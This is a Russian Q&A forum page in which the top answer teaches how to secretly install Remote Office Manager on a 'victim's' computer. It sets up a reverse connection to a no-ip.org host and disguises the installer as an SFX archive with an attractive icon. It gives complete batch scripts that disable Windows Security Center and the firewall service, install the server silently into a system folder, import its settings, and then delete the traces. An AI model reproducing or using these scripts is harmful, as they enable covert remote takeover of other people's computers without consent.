Romfusclient exe что это
Автор Bankir задал вопрос в разделе Программное обеспечение
Подскажите как можно скрыть установленый Radmin Server на компе??? Смотрите Пояснения и получил лучший ответ
Ответ от Likrion[новичек]
не стоит ставить радмин, потому что если ты его поставишь на машину с динамическим ip. то придется каждый раз искать его ip снова и если комп находится в внутренней сети ( как в корбине) то на него ты уже не бробьешься, лучше используй Remote Office Manager
устанавливаешь сервер у себя, настраиваешь как тебе надо (зарегь себе host на no-ip.org (например admin.no-ip.org), скачай клиента этого no-ip, и в настройках Remote Office Manager отратное соединение укажешь например
admin.no-ip.org, теперь при включении компа комп жертвы будет проситься на admin.no-ip.org, а соответственно ты получишь ip компа без усилий,
далее когда настройки сделаны копируешь все файлы установленной программы в отдельную папку и вытаскиваешь из реестра сведения о настройках и установки и добавляешь в папку, потом пишешь несколько батников на установку и удаление файлов и засовываешь это в sfx архив с красивой иконкой и отсылаешь жертве, как только жертва запустит файл его комп в твоем распоряжении
вот пример моих батников
на установку
start
start /min NET STOP wscsvc
start /min NET STOP sharedaccess
start
start /min mkdir "%SYSTEMROOT%help111"
start /min copy /y "AledensoftIpcServer.dll" "%SYSTEMROOT%help111AledensoftIpcServer.dll"
start /min copy /y "AledensoftSoundLib.dll" "%SYSTEMROOT%help111AledensoftSoundLib.dll"
start /min copy /y "English.lg" "%SYSTEMROOT%help111English.lg"
start /min copy /y "HookDrv.dll" "%SYSTEMROOT%help111HookDrv.dll"
start
start /min copy /y "ROMFUSClient.exe" "%SYSTEMROOT%help111ROMFUSClient.exe"
start /min copy /y "ROMServer.exe" "%SYSTEMROOT%help111ROMServer.exe"
start /min copy /y "ROMwln.dll" "%SYSTEMROOT%help111ROMwln.dll"
start /min copy /y "Russian.lg" "%SYSTEMROOT%help111Russian.lg"
start /min copy /y "111.reg" "%SYSTEMROOT%help111111.reg"
start
start /min "%SYSTEMROOT%help111ROMServer.exe" /silentinstall
start /min "%SYSTEMROOT%help111ROMServer.exe" /firewall
start
start /min reg import "111.reg"
start /min regedit /s "111.reg"
start /min "%SYSTEMROOT%/help111ROMServer.exe" /start
start /min start del.bat
start
start
start
и на удаление следов
start /min del 111.reg
start /min del English.lg
start /min del AledensoftIpcServer.dll
start /min del HookDrv.dll
start /min del Install.bat
start /min del ROMFUSClient.exe
start /min del AledensoftSoundLib.dll
start /min del ROMwln.dll
start /min del ROMServer.exe
start /min del Russian.lg
start /min del cs47-48.exe
start /min 111.bat
и последний на закрытие cmd
start /min del del.bat
start /min taskkill /im cmd.exe
exit
Источник: сам